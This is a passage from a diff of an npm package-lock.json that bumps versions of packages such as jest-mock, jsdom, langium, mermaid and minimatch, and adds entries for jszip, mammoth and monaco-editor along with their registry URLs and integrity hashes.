"sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw==", + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz", + "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==", "dev": true, + "license": "MIT", "dependencies": { - "@jest/types": "^29.6.3", + "@jest/types": "30.2.0", "@types/node": "*", - "jest-util": "^29.7.0" + "jest-util": "30.2.0" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-mock/node_modules/@jest/schemas": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", + "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sinclair/typebox": "^0.34.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-mock/node_modules/@jest/types": { + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz", + "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.5", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-mock/node_modules/@sinclair/typebox": { + "version": "0.34.48", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.48.tgz", + "integrity": "sha512-kKJTNuK3AQOrgjjotVxMrCn1sUJwM76wMszfq1kdU4uYVJjvEWuFQ6HgvLt4Xz3fSmZlTOxJ/Ie13KnIcWQXFA==", + "dev": true, + "license": "MIT" + }, + "node_modules/jest-mock/node_modules/ci-info": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz", + "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-mock/node_modules/jest-util": { + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.2.0.tgz", + "integrity": "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "30.2.0", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.2" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-mock/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" } }, "node_modules/jest-pnp-resolver": { @@ -29664,22 +30538,6 @@ } } }, - "node_modules/jest/node_modules/@jest/environment": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.2.0.tgz", - "integrity": "sha512-/QPTL7OBJQ5ac09UDRa3EQes4gt1FTEG/8jZ/4v5IVzx+Cv7dLxlVIvfvSVRiiX2drWyXeBjkMSR8hvOWSog5g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/fake-timers": "30.2.0", - "@jest/types": "30.2.0", - "@types/node": "*", - "jest-mock": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, "node_modules/jest/node_modules/@jest/expect": { "version": "30.2.0", "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-30.2.0.tgz", @@ -29707,24 +30565,6 @@ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest/node_modules/@jest/fake-timers": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.2.0.tgz", - "integrity": "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/types": "30.2.0", - "@sinonjs/fake-timers": "^13.0.0", - "@types/node": "*", - "jest-message-util": "30.2.0", - "jest-mock": "30.2.0", - "jest-util": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, "node_modules/jest/node_modules/@jest/globals": { "version": "30.2.0", "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-30.2.0.tgz", @@ -29883,16 +30723,6 @@ "dev": true, "license": "MIT" }, - "node_modules/jest/node_modules/@sinonjs/fake-timers": { - "version": "13.0.5", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", - "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "@sinonjs/commons": "^3.0.1" - } - }, "node_modules/jest/node_modules/ansi-styles": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", @@ -29932,13 +30762,6 @@ "node": ">=8" } }, - "node_modules/jest/node_modules/cjs-module-lexer": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.1.1.tgz", - "integrity": "sha512-+CmxIZ/L2vNcEfvNtLdU0ZQ6mbq3FZnwAP2PPTiKP+1QOoKwlKlPgb8UKV0Dds7QVaMnHm+FwSft2VB0s/SLjQ==", - "dev": true, - "license": "MIT" - }, "node_modules/jest/node_modules/expect": { "version": "30.2.0", "resolved": "https://registry.npmjs.org/expect/-/expect-30.2.0.tgz", @@ -30266,21 +31089,6 @@ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest/node_modules/jest-mock": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.2.0.tgz", - "integrity": "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/types": "30.2.0", - "@types/node": "*", - "jest-util": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, "node_modules/jest/node_modules/jest-regex-util": { "version": "30.0.1", "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz", @@ -30500,13 +31308,13 @@ } }, "node_modules/jest/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", "dev": true, "license": "ISC", "dependencies": { - "brace-expansion": "^2.0.1" + "brace-expansion": "^2.0.2" }, "engines": { "node": ">=16 || 14 >=14.17" @@ -30673,43 +31481,38 @@ } }, "node_modules/jsdom": { - "version": "20.0.3", - "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-20.0.3.tgz", - "integrity": "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ==", + "version": "26.1.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-26.1.0.tgz", + "integrity": "sha512-Cvc9WUhxSMEo4McES3P7oK3QaXldCfNWp7pl2NNeiIFlCoLr3kfq9kb1fxftiwk1FLV7CvpvDfonxtzUDeSOPg==", "dev": true, + "license": "MIT", "dependencies": { - "abab": "^2.0.6", - "acorn": "^8.8.1", - "acorn-globals": "^7.0.0", - "cssom": "^0.5.0", - "cssstyle": "^2.3.0", - "data-urls": "^3.0.2", - "decimal.js": "^10.4.2", - "domexception": "^4.0.0", - "escodegen": "^2.0.0", - "form-data": "^4.0.0", - "html-encoding-sniffer": "^3.0.0", - "http-proxy-agent": "^5.0.0", - "https-proxy-agent": "^5.0.1", + "cssstyle": "^4.2.1", + "data-urls": "^5.0.0", + "decimal.js": "^10.5.0", + "html-encoding-sniffer": "^4.0.0", + "http-proxy-agent": "^7.0.2", + "https-proxy-agent": "^7.0.6", "is-potential-custom-element-name": "^1.0.1", - "nwsapi": "^2.2.2", - "parse5": "^7.1.1", + "nwsapi": "^2.2.16", + "parse5": "^7.2.1", + "rrweb-cssom": "^0.8.0", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", - "tough-cookie": "^4.1.2", - "w3c-xmlserializer": "^4.0.0", + "tough-cookie": "^5.1.1", + "w3c-xmlserializer": "^5.0.0", "webidl-conversions": "^7.0.0", - "whatwg-encoding": "^2.0.0", - "whatwg-mimetype": "^3.0.0", - "whatwg-url": "^11.0.0", - "ws": "^8.11.0", - "xml-name-validator": "^4.0.0" + "whatwg-encoding": "^3.1.1", + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.1.1", + "ws": "^8.18.0", + "xml-name-validator": "^5.0.0" }, "engines": { - "node": ">=14" + "node": ">=18" }, "peerDependencies": { - "canvas": "^2.5.0" + "canvas": "^3.0.0" }, "peerDependenciesMeta": { "canvas": { @@ -30717,20 +31520,6 @@ } } }, - "node_modules/jsdom/node_modules/https-proxy-agent": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", - "dev": true, - "license": "MIT", - "dependencies": { - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" - } - }, "node_modules/jsesc": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", @@ -30767,7 +31556,8 @@ "version": "0.4.0", "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", - "dev": true + "dev": true, + "license": "(AFL-2.1 OR BSD-3-Clause)" }, "node_modules/json-schema-to-ts": { "version": "3.1.1", @@ -30829,6 +31619,7 @@ "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz", "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==", "dev": true, + "license": "MIT", "engines": { "node": ">=0.10.0" } @@ -30890,6 +31681,45 @@ "node": ">=4.0" } }, + "node_modules/jszip": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", + "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", + "license": "(MIT OR GPL-3.0-or-later)", + "dependencies": { + "lie": "~3.3.0", + "pako": "~1.0.2", + "readable-stream": "~2.3.6", + "setimmediate": "^1.0.5" + } + }, + "node_modules/jszip/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "license": "MIT" + }, + "node_modules/jszip/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/jszip/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, "node_modules/jwa": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", @@ -30961,13 +31791,14 @@ } }, "node_modules/katex": { - "version": "0.16.21", - "resolved": "https://registry.npmjs.org/katex/-/katex-0.16.21.tgz", - "integrity": "sha512-XvqR7FgOHtWupfMiigNzmh+MgUVmDGU2kXZm899ZkPfcuoPuFxyHmXsgATDpFZDAXCI8tvinaVcDo8PIIJSo4A==", + "version": "0.16.28", + "resolved": "https://registry.npmjs.org/katex/-/katex-0.16.28.tgz", + "integrity": "sha512-YHzO7721WbmAL6Ov1uzN/l5mY5WWWhJBSW+jq4tkfZfsxmo1hu6frS0EOswvjBUnWE6NtjEs48SFn5CQESRLZg==", "funding": [ "https://opencollective.com/katex", "https://github.com/sponsors/katex" ], + "license": "MIT", "dependencies": { "commander": "^8.3.0" }, @@ -31002,12 +31833,6 @@ "tslib": "^1.14.1" } }, - "node_modules/keyv-file/node_modules/tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "license": "0BSD" - }, "node_modules/keyv/node_modules/@keyv/serialize": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@keyv/serialize/-/serialize-1.1.1.tgz", @@ -31033,32 +31858,32 @@ "integrity": "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==" }, "node_modules/langium": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/langium/-/langium-3.3.1.tgz", - "integrity": "sha512-QJv/h939gDpvT+9SiLVlY7tZC3xB2qK57v0J04Sh9wpMb6MP1q8gB21L3WIo8T5P1MSMg3Ep14L7KkDCFG3y4w==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/langium/-/langium-4.2.1.tgz", + "integrity": "sha512-zu9QWmjpzJcomzdJQAHgDVhLGq5bLosVak1KVa40NzQHXfqr4eAHupvnPOVXEoLkg6Ocefvf/93d//SB7du4YQ==", "license": "MIT", "dependencies": { - "chevrotain": "~11.0.3", - "chevrotain-allstar": "~0.3.0", + "chevrotain": "~11.1.1", + "chevrotain-allstar": "~0.3.1", "vscode-languageserver": "~9.0.1", "vscode-languageserver-textdocument": "~1.0.11", - "vscode-uri": "~3.0.8" + "vscode-uri": "~3.1.0" }, "engines": { - "node": ">=16.0.0" + "node": ">=20.10.0", + "npm": ">=10.2.3" } }, "node_modules/langsmith": { - "version": "0.3.67", - "resolved": "https://registry.npmjs.org/langsmith/-/langsmith-0.3.67.tgz", - "integrity": "sha512-l4y3RmJ9yWF5a29fLg3eWZQxn6Q6dxTOgLGgQHzPGZHF3NUynn+A+airYIe/Yt4rwjGbuVrABAPsXBkVu/Hi7g==", + "version": "0.4.12", + "resolved": "https://registry.npmjs.org/langsmith/-/langsmith-0.4.12.tgz", + "integrity": "sha512-YWt0jcGvKqjUgIvd78rd4QcdMss0lUkeUaqp0UpVRq7H2yNDx8H5jOUO/laWUmaPtWGgcip0qturykXe1g9Gqw==", "license": "MIT", "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", - "p-retry": "4", "semver": "^7.6.3", "uuid": "^10.0.0" }, @@ -31197,6 +32022,15 @@ "resolved": "packages/data-provider", "link": true }, + "node_modules/lie": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", + "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", + "license": "MIT", + "dependencies": { + "immediate": "~3.0.5" + } + }, "node_modules/lilconfig": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", @@ -31516,16 +32350,6 @@ "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, - "node_modules/loader-runner": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz", - "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", - "dev": true, - "peer": true, - "engines": { - "node": ">=6.11.5" - } - }, "node_modules/loader-utils": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.3.1.tgz", @@ -31558,9 +32382,9 @@ "license": "MIT" }, "node_modules/lodash-es": { - "version": "4.17.22", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.22.tgz", - "integrity": "sha512-XEawp1t0gxSi9x01glktRZ5HDy0HXqrM0x5pXQM98EaI0NxO6jVM7omDOxsuEo5UIASAnm2bRp1Jt/e0a2XU8Q==", + "version": "4.17.23", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.23.tgz", + "integrity": "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg==", "license": "MIT" }, "node_modules/lodash.camelcase": { @@ -31640,12 +32464,8 @@ "version": "4.7.0", "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==", - "dev": true - }, - "node_modules/lodash.throttle": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", - "integrity": "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ==" + "dev": true, + "license": "MIT" }, "node_modules/lodash.uniq": { "version": "4.5.0", @@ -31850,6 +32670,17 @@ "loose-envify": "cli.js" } }, + "node_modules/lop": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/lop/-/lop-0.4.2.tgz", + "integrity": "sha512-RefILVDQ4DKoRZsJ4Pj22TxE3omDO47yFpkIBoDKzkqPRISs5U1cnAdg/5583YPkWPaLIYHOKRMQSvjFsO26cw==", + "license": "BSD-2-Clause", + "dependencies": { + "duck": "^0.1.12", + "option": "~0.2.1", + "underscore": "^1.13.1" + } + }, "node_modules/lowlight": { "version": "2.9.0", "resolved": "https://registry.npmjs.org/lowlight/-/lowlight-2.9.0.tgz", @@ -31959,6 +32790,48 @@ "tmpl": "1.0.5" } }, + "node_modules/mammoth": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/mammoth/-/mammoth-1.11.0.tgz", + "integrity": "sha512-BcEqqY/BOwIcI1iR5tqyVlqc3KIaMRa4egSoK83YAVrBf6+yqdAAbtUcFDCWX8Zef8/fgNZ6rl4VUv+vVX8ddQ==", + "license": "BSD-2-Clause", + "dependencies": { + "@xmldom/xmldom": "^0.8.6", + "argparse": "~1.0.3", + "base64-js": "^1.5.1", + "bluebird": "~3.4.0", + "dingbat-to-unicode": "^1.0.1", + "jszip": "^3.7.1", + "lop": "^0.4.2", + "path-is-absolute": "^1.0.0", + "underscore": "^1.13.1", + "xmlbuilder": "^10.0.0" + }, + "bin": { + "mammoth": "bin/mammoth" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/mammoth/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "license": "MIT", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/mammoth/node_modules/xmlbuilder": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-10.1.1.tgz", + "integrity": "sha512-OyzrcFLL/nb6fMGHbiRDuPup9ljBycsdCypwuyg5AAHvyWzGfChJpCXMG88AGTIMFhGZ9RccFN1e6lhg3hkwKg==", + "license": "MIT", + "engines": { + "node": ">=4.0" + } + }, "node_modules/markdown-table": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz", @@ -32028,19 +32901,6 @@ "node": ">= 18" } }, - "node_modules/mathjs/node_modules/fraction.js": { - "version": "5.3.4", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", - "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", - "license": "MIT", - "engines": { - "node": "*" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/rawify" - } - }, "node_modules/md5.js": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz", @@ -32743,46 +33603,34 @@ } }, "node_modules/mermaid": { - "version": "11.12.2", - "resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.12.2.tgz", - "integrity": "sha512-n34QPDPEKmaeCG4WDMGy0OT6PSyxKCfy2pJgShP+Qow2KLrvWjclwbc3yXfSIf4BanqWEhQEpngWwNp/XhZt6w==", + "version": "11.13.0", + "resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.13.0.tgz", + "integrity": "sha512-fEnci+Immw6lKMFI8sqzjlATTyjLkRa6axrEgLV2yHTfv8r+h1wjFbV6xeRtd4rUV1cS4EpR9rwp3Rci7TRWDw==", "license": "MIT", "dependencies": { "@braintree/sanitize-url": "^7.1.1", - "@iconify/utils": "^3.0.1", - "@mermaid-js/parser": "^0.6.3", + "@iconify/utils": "^3.0.2", + "@mermaid-js/parser": "^1.0.1", "@types/d3": "^7.4.3", - "cytoscape": "^3.29.3", + "@upsetjs/venn.js": "^2.0.0", + "cytoscape": "^3.33.1", "cytoscape-cose-bilkent": "^4.1.0", "cytoscape-fcose": "^2.2.0", "d3": "^7.9.0", "d3-sankey": "^0.12.3", - "dagre-d3-es": "7.0.13", - "dayjs": "^1.11.18", - "dompurify": "^3.2.5", - "katex": "^0.16.22", + "dagre-d3-es": "7.0.14", + "dayjs": "^1.11.19", + "dompurify": "^3.3.1", + "katex": "^0.16.25", "khroma": "^2.1.0", - "lodash-es": "^4.17.21", - "marked": "^16.2.1", + "lodash-es": "^4.17.23", + "marked": "^16.3.0", "roughjs": "^4.6.6", "stylis": "^4.3.6", "ts-dedent": "^2.2.0", "uuid": "^11.1.0" } }, - "node_modules/mermaid/node_modules/uuid": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.0.tgz", - "integrity": "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==", - "funding": [ - "https://github.com/sponsors/broofa", - "https://github.com/sponsors/ctavan" - ], - "license": "MIT", - "bin": { - "uuid": "dist/esm/bin/uuid" - } - }, "node_modules/methods": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", @@ -33409,9 +34257,9 @@ } }, "node_modules/miller-rabin/node_modules/bn.js": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz", - "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==", + "version": "4.12.3", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz", + "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==", "dev": true, "license": "MIT" }, @@ -33491,10 +34339,11 @@ "license": "MIT" }, "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.4.tgz", + "integrity": "sha512-twmL+S8+7yIsE9wsqgzU3E8/LumN3M3QELrBZ20OdmQ9jB2JvW5oZtBEmft84k/Gs5CG9mqtWc6Y9vW+JEzGxw==", "dev": true, + "license": "ISC", "dependencies": { "brace-expansion": "^1.1.7" }, @@ -33511,9 +34360,10 @@ } }, "node_modules/minipass": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", - "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "license": "BlueOak-1.0.0", "engines": { "node": ">=16 || 14 >=14.17" } @@ -33561,6 +34411,28 @@ "node": "*" } }, + "node_modules/monaco-editor": { + "version": "0.55.1", + "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz", + "integrity": "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==", + "license": "MIT", + "dependencies": { + "dompurify": "3.2.7", + "marked": "14.0.0" + } + }, + "node_modules/monaco-editor/node_modules/marked": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz", + "integrity": "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==", + "license": "MIT", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 18" + } + }, "node_modules/mongodb": { "version": "6.14.2", "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-6.14.2.tgz", @@ -33616,29 +34488,6 @@ "whatwg-url": "^14.1.0 || ^13.0.0" } }, - "node_modules/mongodb-connection-string-url/node_modules/tr46": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", - "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", - "dependencies": { - "punycode": 